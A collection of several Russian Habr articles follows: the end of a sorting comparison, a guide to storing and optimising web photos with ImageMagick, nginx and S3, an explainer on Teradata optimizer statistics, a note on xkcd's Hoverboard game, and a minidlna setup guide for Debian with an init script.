| | 12.51872 | 18.165 | 29.33268 | 35.202 |
| | 15.44188 | 17.861 | 30.06672 | 36.7911 |
| | 14.18681 | 19.7831 | 31.65981 | 39.3533 |
| | 13.63978 | 24.3374 | 28.41662 | 52.864 |
| | 14.21881 | 21.1452 | 25.80548 | 32.5419 |
| | 14.58683 | 28.5016 | 24.85942 | 50.3139 |
| | 18.53806 | 30.7238 | 29.6647 | 58.2493 |
С обмеными сортировками всё понятно. Теперь приступим к действительно интересному — сортировкам вставками.
Ссылки
======
[Excel-приложение AlgoLab](https://habr.com/post/414447/), с помощью которого можно в пошаговом режиме просмотреть визуализацию этих (и не только этих) сортировок.
На [Гугл-диске](https://drive.google.com/drive/folders/1Nrf6WrAsaWLcMAToXLkBa-sr0YLRBDts) выложены также все массивы в виде JSON.
**Вики/Wiki** — [Придурковатая](https://ru.wikipedia.org/wiki/Stooge_sort)/[Stooge](https://en.wikipedia.org/wiki/Stooge_sort), [Slow](https://en.wikipedia.org/wiki/Slowsort), [Гномья](https://ru.wikipedia.org/wiki/%D0%93%D0%BD%D0%BE%D0%BC%D1%8C%D1%8F_%D1%81%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0)/[Gnome](https://en.wikipedia.org/wiki/Gnome_sort), [Пузырьковая](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BF%D1%83%D0%B7%D1%8B%D1%80%D1%8C%D0%BA%D0%BE%D0%BC)/[Bubble](https://en.wikipedia.org/wiki/Bubble_sort), [Шейкер](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BF%D0%B5%D1%80%D0%B5%D0%BC%D0%B5%D1%88%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%D0%BC)/[Shaker](https://en.wikipedia.org/wiki/Cocktail_shaker_sort), [Чёт-нечет](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D1%87%D1%91%D1%82-%D0%BD%D0%B5%D1%87%D0%B5%D1%82)/[Odd-Even](https://en.wikipedia.org/wiki/Odd%E2%80%93even_sort), [Расчёска](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D1%80%D0%B0%D1%81%D1%87%D1%91%D1%81%D0%BA%D0%BE%D0%B9)/[Comb](https://en.wikipedia.org/wiki/Comb_sort), [Быстрая](https://ru.wikipedia.org/wiki/%D0%91%D1%8B%D1%81%D1%82%D1%80%D0%B0%D1%8F_%D1%81%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0)/[Quick](https://en.wikipedia.org/wiki/Quicksort)
### Статьи серии
* [Excel-приложение AlgoLab.xlsm](https://habr.com/post/414447/)
* [Сортировки обменами](https://habr.com/post/414653/)
+ **Сравнение сортировок обменами**
* [Сортировки вставками](https://habr.com/post/415935/)
* [Сортировки выбором](https://habr.com/post/422085/)
* [Сортировки слиянием](https://habr.com/post/431964/)
* [Сортировки распределением](https://habr.com/ru/post/472466/)
* [Гибридные сортировки](https://habr.com/ru/post/483786/) | https://habr.com/ru/post/415691/ | null | ru | null |
# Загрузка и хранение фотографий в Web приложениях
#### Почему это важно?
На современных web сайтах объем картинок может составлять от 30% до 70% всего размера страницы. Например, объем изображений [на Хабре](http://i.onthe.io/test?url=habrahabr.ru) обычно составляет несколько мегабайт.
Большинство изображений в Web'e — это фотографии. Профильные фото в соц. сетях, альбом с телефона, профессиональные снимки и т.п. Правильная стратегия и инструменты для работы с фотографиями позволят сделать сайт быстрым для посетителей.
#### Формат для фотографий
Основной формат для хранения фотографий в Web'e — это JPEG. Однако иногда следует использовать и другие форматы.
##### JPEG
Хорошо подходит для сложных изображений, т.е. как раз для фотографий. Основной принцип сжатия в этом формате — это уменьшение качества путем уменьшения детализации изображения.
Подбор показателя сжатия может уменьшить размер исходного файла в несколько раз без заметного ухудшения качества. Логика такая: чем ниже качество — тем легче файл. Обычно используют показатель качества от 80 до 90.
##### Webp
Это формат, разработанный специально для обслуживания изображений в Web'e. Может уменьшить размер файла в несколько раз без потери качества. Значительно лучше сжимает фотки, чем JPEG. Однако поддерживается еще [не всеми](http://caniuse.com/#search=webp) браузерами.
##### PNG и GIF
Эти форматы не подходят для фотографий. PNG изображения сохраняются без потери качества и лучше всего подойдут для иконок и графики. Формат GIF имеет ограниченную палитру, однако поддерживает анимацию.
#### Загрузка фотографий на сервер
Если на вашем проекте существует необходимость загружать пользовательские фотографии, сначала необходимо выбрать принцип их хранения на сервере.
Если вы собираетесь работать с сотнями файлов, стоит выбрать древовидную структуру:
Это позволит избежать ситуации с тысячами файлов в одной папке (это тормозит работу файловой системы и вашу собственную). Лучше всего использовать вложенную структуру из папок длинной в два символа:
```
$photo = $_FILES['image']['tmp_name'];
$name = md5($photo) . '.jpg';
$dir = substr(md5(microtime()), mt_rand(0, 30), 2) . '/' . substr(md5(microtime()), mt_rand(0, 30), 2);
$path = $dir . '/' . $name; # по этому пути сохраняем фотку
```
#### Инструменты
После загрузки фотографий на сервер, их следует обработать:
* Уменьшить размер до приемлемого. Нет смысла хранить и показывать оригинал фотографии размером 4000х3000 на сервере.
* Удалить все метаданные. Иногда объем такой инфы может составлять больше половины веса самого изображения.
* Провести оптимизацию для уменьшения размера файлов. Это ускорит загрузку у посетителя.
Для этого существует ряд инструментов.
##### ImageMagick
Сразу после загрузки фотографии на сервер, имеет смысл удалить все метаданные и изменить размер до 1000х1000:
```
# 90 - уровень сжатия в итоговом JPEG файле
convert input.jpg -strip -resize 1000x1000 -quality 90 output.jpg
```
##### GraphicsMagick
То же самое с помощью более производительного [GraphicsMagick](http://www.graphicsmagick.org/):
```
# изменение размера до 600х500 с уровнем качества в 90
gm convert input.jpg -strip -resize 600x500 -quality 90 output.jpg
```
##### Jpegtran
Этот инструмент уменьшает размер JPEG файлов без потери качества.
```
jpegtran -copy none -optimize -outfile min.image.jpg image.jpg
```
##### cwebp
Утилита позволяет преобразовать изображение в формат Webp.
```
cwebp -q 85 input.jpg -o output.webp
```
#### Отдача клиенту
Фотографии лучше всего отдавать Nginx'ом. Обязательно нужно настроить [Cache-control](http://highloadtools.com/cachecontrol) и [Keepalive](http://en.wikipedia.org/wiki/Keepalive) для повышения скорости загрузки страниц:
```
http {
...
keepalive_timeout 75s;
server {
listen 80;
location ~ .\.jpg$ {
expires max;
}
}
}
```
#### Превью (thumbnails)
Часто нужно иметь возможность показывать небольшие версии фотографий (например, миниатюра профильной фотки).
Для этого необходимо генерировать нужные размеры при загрузке:
```
convert file.jpg -resize 50x50 file.s.jpg
convert file.jpg -resize 250x250 file.m.jpg
```
Тогда у каждого изображения будет соответствующая миниатюра.
Более удобный подход — генерировать превью на лету с помощью, например, [Nginx image\_filter](http://nginx.org/en/docs/http/ngx_http_image_filter_module.html) модуля.
#### Поддержка Webp
Webp не поддерживается всеми браузерами, однако постепенно набирает [популярность](https://onthe.io/learn+%D0%A7%D1%82%D0%BE+%D1%82%D0%B0%D0%BA%D0%BE%D0%B5+WebP). Для того, чтобы извлечь пользу из этого формата, можно отдавать разные версии фотографий в зависимости от браузера посетителя.
Для каждой фотографии нужно сгенерировать webp версию:
```
cwebp file.jpg -o file.jpg.webp
```
Теперь необходимо отдать соответствующую версию картинки в зависимости от поддержки этого формата браузером:
```
server {
...
location ~* ^/.+\.(jpg|jpeg)$ {
if ($http_accept ~* "webp") {
rewrite (.+) $1.webp;
}
}
...
}
```
#### Облака
Облачные технологии развиваются и дешевеют. Если у вас нет специфических задач по обработке фоток, лучше присмотреться к варианту использования внешнего сервиса для их хранения и отдачи.
###### [Amazon s3](http://aws.amazon.com/s3/)
Это облачное хранилище с которым не придется думать о масштабировании. Храните терабайты и не парьтесь. Пример реализации загрузки фотографий на [S3 в PHP](https://github.com/tpyo/amazon-s3-php-class):
```
$path = 'photo_name.jpg';
$s3 = new S3('ключ', 'секрет');
$s3->putObjectFile($_FILES['image']['tmp_name'], 'букет', $path, S3::ACL_PUBLIC_READ, []);
```
После этого можно показывать фотку прямо с Амазона:
```
...
...
```
###### [Cloudinary](http://cloudinary.com)
Мощный сервис для работы с фотографиями в облаке. Ресайз, кроп, распознавание лиц, разные форматы, онлайн редактор и другие функции.
###### [i.onthe.io](https://i.onthe.io)
Мега простой сервис, распознает возможности браузера и подбирает оптимальный формат отдачи. Поддерживает URL API для ресайза и кропа.
#### Конспект
* Правильный формат и сжатие фоток могут сэкономить до 70% объема страницы.
* Используйте только JPEG для фотографий.
* При возможности включайте поддержку Webp.
* Imagemagick, Graphicsmagick и Jpegtran для манипуляций и оптимизации фоток.
* Рассматривайте облачные решения для хранения фоток — это быстро и удобно. | https://habr.com/ru/post/257533/ | null | ru | null |
# Статистика в СУБД Teradata
*«There are three kinds of lies: lies, damned lies, and statistics» Бенджамин Дизраэли, 40-й премьер-министр Великобритании*
Статистическая информация о данных в СУБД играет важную роль в производительности системы. С учетом ряда комментариев к [прошлой статье](http://habrahabr.ru/company/teradata/blog/160821/), мы решили описать, зачем нужна статистика в СУБД Teradata, как она учитывается оптимизатором, на что влияет, и дать ряд практических советов по сбору статистики для тех, кто работает с нашей СУБД.
#### Что такое статистика и зачем она нужна
Статистическая информация о данных нужна, в первую очередь, для обеспечения работы оптимизатора запросов. Зная статистические характеристики данных и то, по каким критериям пользователь их запрашивает, оптимизатор может выбирать те или иные способы извлечения этих данных. Простой пример: пользователь запросил выборку всех жителей [города Белозерск](http://maps.yandex.ru/?text=%D0%91%D0%B5%D0%BB%D0%BE%D0%B7%D0%B5%D1%80%D1%81%D0%BA). Предположим, что у нас есть индекс на поле с кодом города. Если у оптимизатора есть информация, что в Белозерске проживает около 10 тыс. человек (из ~143 миллионов жителей РФ), то он предпочтет доступ по индексу, так как это будет много быстрее, нежели читать таблицу целиком. С другой стороны, если выбирать данные по одному или нескольким большим городам, которые в сумме дадут несколько десятков миллионов записей, то в этом случае, наоборот, результат получается быстрее не при использовании доступа по индексу, а после прочтения всей таблицы целиком. Это очень упрощенный пример, но достаточный для того, чтобы показать, как статистика способна влиять на решения, принимаемые оптимизатором.
В [предыдущей статье](http://habrahabr.ru/company/teradata/blog/160821/) мы рассказывали, что в СУБД Teradata нет хинтов оптимизатора. Это означает, что оптимизатор запросов принимает все решения, основываясь на объективной информации, которая ему доступна. В расчет берется: количество AMP'ов в системе, количество узлов, количество и типы процессоров, доступная в данный момент память, типы дисков и многое другое, включая демографию данных. Демографическая информация, которую мы и называем *статистикой*, включает в себя количество строк в таблице, средний размер строки, количество строк с одним и тем же значением колонки, количество NULL'ов и прочее. Знание этих параметров также позволяет оптимизатору правильно рассчитывать размеры временной памяти (*spool*), выделяемой запросу для проведения преобразований данных.
Аналогично статистике по отдельным колонкам возможен сбор статистики по индексам. Принципы абсолютно те же.
Статистику распределения данных часто надо отслеживать не только по какому-то одному полю таблицы, а часто и по комбинациям полей. Например, вы часто запрашиваете людей, у которых фамилия Иванов и живут они в том же Белозерске. Если собрать отдельно статистику по фамилии и отдельно по городу, то это не даст хорошей информации оптимизатору, т.к. людей с фамилией Иванов может быть 1 млн., жителей Белозерска 10 тыс., а в комбинации будет много меньше. Поэтому необходимо собирать статистику по сочетанию полей. Причем для Teradata абсолютно неважен порядок полей, если собрать статистику по «Фамилии, Городу» и «Городу, Фамилии», результат будет одинаков (чтобы понять, почему это так – просто посмотрите еще раз на то, какие демографические показатели используются).
#### Как статистика хранится в СУБД
Собранная статистика хранится в словаре (*DBC.TVFields*, *DBC.Indexes* и *DBC.StatsTbl* для 14-й версии) и с точки зрения СУБД представляет собой интервальные гистограммы. Чем больше в последней число интервалов, тем более точно она может отражать распределение данных. Так, в Teradata 13.10 максимальное число интервалов в гистограмме равно 200, что примерно дает 0.5% данных в каждом интервале. При этом можно вспомнить эпиграф к этой статье и понять, что статистика показывает некоторую среднюю температуру по больнице. Количество строк в каждом интервале может варьироваться. Например: в таблице 1 млн. строк, значит, в среднем в одном интервале будет 5000 строк при условии 200 интервалов в гистограмме. Допустим, что в одном из интервалов на одно значение приходится 4900 строк, а на следующее значение – 300 строк. Может статься, что эти строки будут помещены в один интервал и оценка количества строк в нем будет 4900+300=5200. А может случиться так, что 300 строк будут помещены в следующий интервал и тогда в предыдущем окажется всего 4900.
Если какое-то значение встречается более чем в 0.25% строк, то оно сохраняется в специальных интервалах, отведенных под часто встречающиеся значения. Справедливости ради надо сказать, что количество интервалов растет от версии к версии. Начиная с версии Teradata 12 количество интервалов было увеличено со 100 до 200, а в Teradata 14 по умолчанию число интервалов равно 250 и его можно увеличить вплоть до 500.
В зависимости от распределения значений используется один из трех видов гистограмм для сохранения статистики:1. Гистограмма с одинаковым размером интервалов. В каждом интервале сохраняется одинаковое количество значений. Возможно при наличии более-менее равномерного распределения значений, без явных перекосов (*skew*).
2. Гистограмма со смещенными интервалами. В каждом интервале хранится максимум два значения. Такой вид используется только в тех случаях, когда распределение имеет существенный перекос.
3. Сжатая гистограмма. Диаграмма, в которой комбинируются интервалы как одинаковых значений, так и интервалы лишь с двумя значениями. Если кому-то будет интересно посмотреть вплоть до байт, что и как хранится в статистике, то это наглядно показано на диаграммах [здесь](http://www.teradataforum.com/attachments/a100531d.pdf).
#### Сбор статистики
Процесс сбора статистик в Teradata, равно как и в СУБД других вендоров, запускается командой *COLLECT STATISTICS*. Каждая статистика, определенная для таблицы, требует отдельного прохода по таблице. Начиная с 14-й версии, можно объединять сбор нескольких статистик в один проход по таблице. При этом для каждой собираемой статистики осуществляется ряд шагов:1. Выполняется запрос следующего вида:
```
SELECT x1, y1, COUNT(*) AS cnt FROM t_coll_stats GROUP BY 1,2;
```
При выполнении данного запроса могут быть использованы любые альтернативные пути доступа к данным таблиц, например JOIN/HASH-индексы.
2. Используя полученный агрегат, Teradata выполняет следующие шаги:
* Строит таблицу интервалов
* Используя эту таблицу, определяет интервалы гистограмм
* Направляет структуру гистограмм AMP’ам
* Каждый AMP читает агрегированный Spool и заполняет *свои* гистограммы
* Система консолидирует локальные гистограммы
* Консолидированные гистограммы записываются в словари, хранящие статистику
Для больших (миллионы строк) и очень больших (десятки миллиардов строк) таблиц, сплошь и рядом встречающихся в проектах хранилищ данных, этот процесс может занимать часы, несмотря на распараллеливание. Именно по этой причине к сбору статистик необходимо подходить ответственно и не загружать систему без реальной необходимости. Для того чтобы неподготовленный пользователь не смог случайно загрузить систему, в Teradata реализована специальная привилегия на сбор статистик.
В дополнение к организационным ограничениям, для минимизации нагрузки на систему можно использовать сбор статистик с использованием сэмплирования (COLLECT STATISTICS USING SAMPLE с опциональным указанием % строк). В этом случае Teradata сначала выполняет запрос на получение случайного набора строк. Для этого может использоваться TOP n или SAMPLE (для секционированных таблиц). Строки, полученные в результате, используются для последующей агрегации и создания гистограмм. Однако пользоваться сэмплированием можно лишь в случае когда есть уверенность в том, что рассматриваемая часть данных (*сэмпл*) таблицы адекватно предоставляет демографию всей таблицы для тех колонок, для которых планируется использовать сбор сэмпловой статистики. Если это не так, то нужно собирать полную статистику.
#### Как статистика используется
Итак, статистики собраны. Как оптимизатор будет их использовать? Ниже приведена диаграмма, описывающая процесс оптимизации запроса с учетом статистик:
При выполнении запроса оптимизатор:* Ищет заголовок таблицы в кэше
Если заголовок таблицы обнаружен в кэше, выполняется динамический сэмплированный сбор статистик (Random AMP sampling), если необходимо. Если он в кэше не обнаружен, производится его чтение с диска и выполняется динамический сэмплированный сбор статистик.
* Ищет статистики для оптимизации запроса
Teradata ищет необходимые статистики в кэше. Если они там не обнаружены, выполняется запрос на чтение статистик с диска и их кэширование.
* Использует статистики для оптимизации запроса
Если статистики на были собраны или устарели, оптимизатор может использовать статистики, полученные путем динамического сэмплирования. Это справедливо только для индексных колонок, в противном случае используется эвристика.
В описанном выше процессе важное место отводится статистикам, полученным динамическим сэмплированием (Random AMP sampling). Как совершенно справедливо отметил [bebop](http://habrahabr.ru/users/bebop/) в одном из комментариев к нашей первой статье:
> «ребят, никакая статистика никогда не бывает полной – у оптимизатора нет полной информации о том, сколько записей вернёт каждый подзапрос в плане, особенно если критерии отбора достаточно сложные».
Особенно это справедливо для приложений хранилищ данных, в которых значительная часть запросов является [ad hoc](http://ru.wikipedia.org/wiki/Ad_hoc) и невозможно заранее предусмотреть все необходимые статистики.
Teradata выполняет сбор статистик с помощью динамического сэмплирования всегда, отключить это невозможно. Процесс выглядит следующим образом:
1. Путем хэширования идентификатора таблицы, для которой выполняется сэмплирование, выбирается AMP, чьи данные будут использоваться.
2. Читается мастер-индекс для получения списка цилиндров, содержащих данные таблицы.
3. Подсчитывается количество цилиндров с данными.
4. Случайным образом выбирается один из цилиндров и читается список блоков, содержащих данные таблицы.
5. Подсчитывается количество блоков.
6. Случайным образом выбирается блок данных и подсчитывается количество строк в нем.
7. Подсчитывается количество строк в таблице по следующей формуле:
```
Кол-во строк в таблице = Количество строк в блоке * Количество блоков в цилиндре * Количество цилиндров * Количество AMP’ов
```
Данный метод позволяет собрать меньшее число статистик по сравнению с традиционным:* Количество строк
* Среднее количество строк на значение
Только для индексов могут быть дополнительно собраны:* Среднее количество строк в индексе
* Средний размер индекса на AMP
* Количество уникальных значений
Для сбора статистик данным методом характерно экстремально малое время выполнения. Кроме того, данные статистики хранятся в кэше (по умолчанию не более 4-х часов) и не пересобираются при выполнении каждого запроса.
Еще одно назначение получаемых данным методом статистик – детектирование устаревания статистик, собираемых пользователями. Оно определяется путем сравнения числа строк таблицы, полученных при динамическом сборе статистик с хранимым значением. При отклонении более чем на 10% статистика считается устаревшей. При идентификации статистики как устаревшей Teradata может компенсировать это, экстраполировав собранные пользователем статистики.
Соображения касательно применения того или иного метода сбора статистик приведены в таблице ниже:
| | | |
| --- | --- | --- |
| **Метод** | **Характеристики** | **Применение** |
| Полная статистика | * Собирает все статистики
* Может занимать значительное время
* Наиболее полные и точные статистики
* Статистики хранятся в словаре данных
| * Лучший выбор для колонок или индексов со значительным «перекосом»
* Рекомендуется для таблиц с менее чем 1000 строками на AMP
* Рекомендуется для колонок с небольшим количеством уникальных значений
* Рекомендуется для большинства NUSI, колонки PARTITION и прочих колонок, используемых в предикатах
* Рекомендуется для всех индексов и колонок, для которых сэмплированная статистика не дает удовлетворительной точности
|
| Сэмплированная статистика | * Собирает все статистики, но без чтения всех строк таблицы
* Значительно быстрее по сравнению с полной
* Статистики хранятся в словаре данных
| * Рекомендуется для уникальных или почти уникальных колонок и индексов
* Рекомендуется для очень больших таблиц, с целью экономии ресурсов
* Не рекомендуется для таблиц, число строк в которых менее чем 20 \* Число AMP’ов в системе
|
| Динамическая сэмплированная статистика | * Собирает меньшее число статистик
* Очень быстрое выполнение
* Статистики хранятся в кэше
* Сбор осуществляется автоматически
* Автоматически обновляется после пакетных обновлений (INSERT … DELETE) данных при изменении размера таблиц более чем на 10%
| * Подходит для определения размера таблицы с очень малым «перекосом» или при его отсутствии для таблиц с числом строк, значительно большим, чем число AMP’ов в системе
* Собирает достоверные статистики для NUSI, если они имеют незначительный «перекос» и таблица содержит значительно больше строк, чем количество AMP’ов в системе
* Является незаменимым механизмом защиты от отсутствующей/устаревшей статистики
|
В завершение также хочется упомянуть наличие в Teradata механизма «наследования статистик». Статистики могут наследоваться как дочерними объектами от родительских объектов (TABLE -> JOIN INDEX), так и наоборот (TABLE < — JOIN INDEX). Применение данного механизма также позволяет без потери производительности минимизировать использование ресурсов системы для сбора статистической информации.
#### Практические рекомендации по сбору статистик
Так где и как надо собирать статистику? Основное правило – собирать только ту статистику, которая релевантна вашим запросам.
Может статься, что у вас есть хитрый запрос, по поводу которого еще придется разобраться, какая статистика нужна. Но существует ряд типовых рекомендаций по сбору статистики, а именно:
Собирайте полные статистики* по неиндексированным колонкам, используемым в предикатах (условиях WHERE);
* по колонкам джойна, если колонка неуникальна;
* по всем Non-Unique Secondary Index (удаляйте неиспользуемые индексы NUSI);
* по тем Unique Secondary Index/Unique Primary Index, которые используются в предикатах с условием, отличным от «равно»;
* по Non-Unique Primary Index;
* по всем индексам или колонкам, используемым в предикатах маленьких таблиц (менее 100 строк на AMP);
* по колонке PARTITION всех таблиц – независимо от того, секционированы они или нет (собираются очень быстро).
Можно положиться на Dynamic AMP Sampling и не собирать статистику* если Unique Secondary Index/Unique Primary Index используются в предикатах только по условию «равно»;
* если равномерно распределенный NUPI используется для джойна.
Используйте сэмплированные статистики (USING SAMPLE)
* для колонок уникальных индексов;
* для колонок, близких к уникальным (уникальность > 95%).
Собирайте многоколоночные статистики
* для группы колонок, часто используемых совместно в предикатах с условием «равно», если первые 16 байт значения сгруппированных колонок достаточно уникальны;
* для групп колонок, используемых для джойнов или агрегаций, при условии корреляции между значениями колонок.
#### Дополнительная информация
Для таблиц с секционированным первичным индексом всегда рекомендуется собирать статистики на:
* Колонку PARTITION. Это даст оптимизатору информацию о числе секций и количестве строк в них.
* Колонку секционирования. Это позволит определить количество строк на значение при использовании колонки секционирования в предикате запроса.
Для таблиц с секционированным первичным индексом, если колонка секционирования не является частью первичного индекса:
* (PARTITION, PI). Эта статистика наиболее важна, если значение PI может присутствовать в нескольких секциях; позволяет оценить стоимость соединений sliding-window и rowkey-based merge join, равно как и dynamic partition elimination.
* (PARTITION, PI, partitioning column). Эта статистика дает количество уникальных значений для комбинации PI и partitioning columns после выполнения partition elimination.
Dynamic AMP sampling позволяет выполнять сэмплирование с участием всех AMP’ов вместо одного (по умолчанию). Для маленьких таблиц (менее 25 строк на AMP) сэмплирование с участием всех AMP’ов выполняется автоматически. При использовании сэмплирования с участием всех AMP’ов нужно принимать во внимание, что:
* Dynamic all-AMP sampling дает более точный результат для таблиц с NUPI. Важно в случае отсутствия статистик на NUPI, когда NUPI имеет неравномерное распределение.
* Экстраполяция статистик для любой колонки таблицы выполняется, если оптимизатор выявляет увеличение таблицы. Последнее определяется путем сравнения числа строк таблицы, полученного сэмплированием, с сохраненной статистикой. Если динамическое сэмплирование с участием одного AMP’а дает неточный результат, рекомендуется применять динамическое сэмплирование с участием всех AMP’ов или пересобрать статистику по колонке PARTITION.
* Время парсинга запросов может увеличиться. Статистики хранятся в кэше словаря данных, и их повторный сбор не выполняется до момента сброса кэша (периодического или по иным причинам). Это означает, что использование динамического сэмплирования с участием всех AMP’ов не увеличит времени парсинга всех запросов.
Для temporal таблиц все описанные выше рекомендации также актуальны.
Как часто следует собирать статистики? Здесь всё зависит от того, насколько значительно меняются данные с течением времени. Как правило, если данные в таблице изменились более чем на 5-10%, то нужно обновить статистику по этой таблице, чтобы оптимизатор знал об этих изменениях.
Отдельно следует обратить внимание на то, что Teradata не обновляет статистику автоматически без Вашего ведома. Вы сами контролируете, когда и как запускать сбор статистики. Эти рекомендации представляют собой некий базис. Полный же процесс оптимизации физических структур («физического дизайна», как мы его называем) – достаточно творческий и состоит не только из работы со статистикой. Впрочем, это уже предмет отдельной статьи :) | https://habr.com/ru/post/167801/ | null | ru | null |
# Hoverboard: новая игра от создателя XKCD
В честь выхода своей книги "[Thing Explainer](http://geektimes.ru/post/260306/)" Рэндел Манро выпустил «маленькую» игру [Hoverboard](http://xkcd.com/1608/) — поле, по которому вы летаете на ховерборде и собираете 17 монеток.
Насчёт «маленькой» игры автор пошутил. Если у вас хватит смелости нарушить правила, то вы покинете игровую зону — и тогда погрузитесь в огромный, поистине бесконечный мир Hoverboard. Путешествуя, тоже собирайте монетки (их минимум 169), читая по пути традиционные монровские шуточки, комментарии и вопросы.
Многие секреты игры, в том числе читы и эксплойты, описаны в [энциклопедии XKCD](http://www.explainxkcd.com/wiki/index.php/1608:_Hoverboard), но до конца игру сообщество ещё не исследовало.
Файлы карты хранятся в простых файлах PNG по схеме X:Y+s.png. Например, так: `xkcd.com/1608/1013:-1096+s.png`.
Каждый файл имеет размер 513x513 пикселей, один пиксель зарезервирован для перекрытия с соседними участками для обеспечения незаметного передвижения с участка на участок. Пока что сообщество исследовало пространство в координатах от 928 до 1108 по X и от -1112 до -928 по Y. Чтобы получить название файла с картой из координат игрока, просто делите на 512 и округляйте вниз.
Начальная позиция — (x: 512187, y: -549668)
**Примечательные места**
[Монумент Вашингтона](http://en.wikipedia.org/wiki/Washington_Monument) — (x: 509864, y: -549746)
Логово Илона Маска в вулкане: — (x: 484167, y: -549462)
Гигантский космический корабль: — (x: 507163, y: -567537)
Фанатов «Звёздных войн» атакует Imperial Star Destroyer — (x: 518954, y: -549056)
Гигантская пирамида: — (x: 538167, y: -550906) | https://habr.com/ru/post/367133/ | null | ru | null |
# Samsung AllShare и Linux
Купили телевизор Samsung и обнаружили на нём AllShare, но совершенно не хочется ставить ради использования этой функции Windows? Тогда читаем ниже.
Что такое AllShare, при более близком рассмотрении, и с чем её едят? Ну у корейцев видимо всё не как у людей и оттого они обозвали то, что все называют DLNA по своему — AllShare, ну чтобы враги не догадались, а может оттого, что поддерживают DLNA коряво и не получили соответствующей сертификации, а использовать ой как хочется.
А что такое [DLNA](http://goo.gl/kEO9w)? DLNA (Digital Living Network Alliance) — стандарт, позволяющий совместимым устройствам передавать и принимать по домашней сети различный медиа-контент (изображения, музыку, видео), а также отображать его в режиме реального времени. Это технология для соединения домашних компьютеров, мобильных телефонов, ноутбуков и бытовой электроники в единую цифровую сеть. Устройства, которые поддерживают спецификацию DLNA, по желанию пользователя могут настраиваться и объединяться в домашнюю сеть в автоматическом режиме.
Средой передачи медиаконтента обычно является домашняя локальная сеть (IP-сеть). Подключение DLNA-совместимых устройств к домашней сети может быть как проводным (Ethernet), так и беспроводным (Wi-Fi).
Выбор [DLNA сервера](http://goo.gl/VDkIr) может показаться не тривиальной задачей, тем более, что выбор достаточно [велик](http://goo.gl/VDkIr). У себя дома, под домашним Debian'ом решил поднять [minidlna](http://goo.gl/VmkGL).
Итак, с чего же начать? Ну как всегда, с установки зависимостей, скачки исходников и их компиляции.
`$ sudo aptitude install libavcodec-dev libavformat-dev libavutil-dev libflac-dev libvorbis-dev libogg-dev libid3tag0-dev libexif-dev libjpeg-dev
$ wget "http://downloads.sourceforge.net/project/minidlna/minidlna/1.0.24/minidlna_1.0.24_src.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fminidlna%2Ffiles%2Fminidlna%2F1.0.24%2F&ts=1330931715&use_mirror=ignum" -O minidlna_1.0.24_src.tar.gz
$ tar xzf minidlna_1.0.24_src.tar.gz
$ cd minidlna-1.0.24/
$ make && sudo make install && sudo cp minidlna.conf /etc/`
Теперь, когда сервер DLNA скомпилирован и установлен, приступим к его настройке. В этом, собственно, тоже не должно возникнуть никаких сложностей.
`$ sudo vim /etc/minidlna.conf`
В network\_interface прописываем через запятую интерфейсы на которых будет жить сервер DLNA.
Настройка media\_dir может не ограничиваться лишь одним ресурсом, этих строк может быть много. media\_dir может включать либо просто имя каталога, либо начинаться с A, V или P, что означает, соответственно, назначение ресурса — аудио, видео, картинки.
friendly\_name описывает имя которое будет светиться в списке источников для DLNA ресурсов.
notify\_interval этот параметр описывает интервал через который происходит уведомление о вновь появившихся ресурсах на DLNA сервере. Значение по-умолчанию в 900 секунд наверное всё-таки слишком велико.
db\_dir это директория где DLNA сервер будет хранить свой кеш о представляемых объектах.
log\_dir — директория где будет вестись журнал DLNA сервера.
Теперь настало время произвести первый запуск нашего DLNA сервера и посмотреть, что при этом происходит:
`minidlna -d -f /etc/minidlna.conf`
Видим, что сервер запускается, начинает сканировать медиа-ресурсы и ожидает подключение клиентов.
На этом можно было бы и закончить, но ведь наверняка будет очень лениво каждый раз запускать сервер в ручную, а оттого создаём стартап-скрипт и помещаем его в /etc/init.d:
`#! /bin/sh
### BEGIN INIT INFO
# Provides: minidlna
# Required-Start: $local_fs $remote_fs $syslog $network
# Should-Start:
# Required-Stop: $local_fs $remote_fs $syslog $network
# Should-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Minidlna
# Description: DLNA Media Server
### END INIT INFO
## EDIT FROM HERE
# Installation details
MINIDLNA="/usr/sbin/minidlna"
ARGS="/etc/minidlna.conf"
# Where to keep a log file
MINIDLNA_LOG="/var/log/minidlna.log"
# Where the PID lives
PID_FILE="/var/run/minidlna.pid"
## STOP EDITING HERE
# The path that is to be used for the script
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
set -e
# Only start if we can find the minidlna.conf.
test -x $MINIDLNA || exit 0
# Parse command line parameters.
case $1 in
start)
echo -n "Starting MiniDLNA: "
$MINIDLNA -f $ARGS -P $PID_FILE >> $MINIDLNA_LOG 2>&1
echo "ok"
;;
stop)
echo -n "Stopping MiniDLNA: "
for pidf in `/bin/ls $PID_FILE 2>/dev/null`; do
if [ -s $pidf ]; then
kill `cat $pidf` >/dev/null 2>&1
fi
rm -rf $PIF_FILE
done
echo "ok"
;;
restart|reload|force-reload)
echo "Restarting MiniDLNA: "
$0 stop
sleep 2
$0 start
;;
*)
# Print help
echo "Usage: /etc/init.d/minidlna {start|stop|restart|reload|force-reload}"
exit 1
;;
esac
exit 0`
Содержимое скрипта было [позаимствовано](http://goo.gl/ldKJ1) (зачем изобретать велосипед?), единственно, что были добавлены заголовки для нормального выполнения update-rc.d:
`$ sudo update-rc.d minidlna defaults`
Уровни выполнения актуальны для Debian, Ubuntu и, наверное, производных дистрибутивов. В принципе поменяв уровни выполнения этот скрипт можно использовать и в других дистрибутивах поддерживающих LSB заголовки.
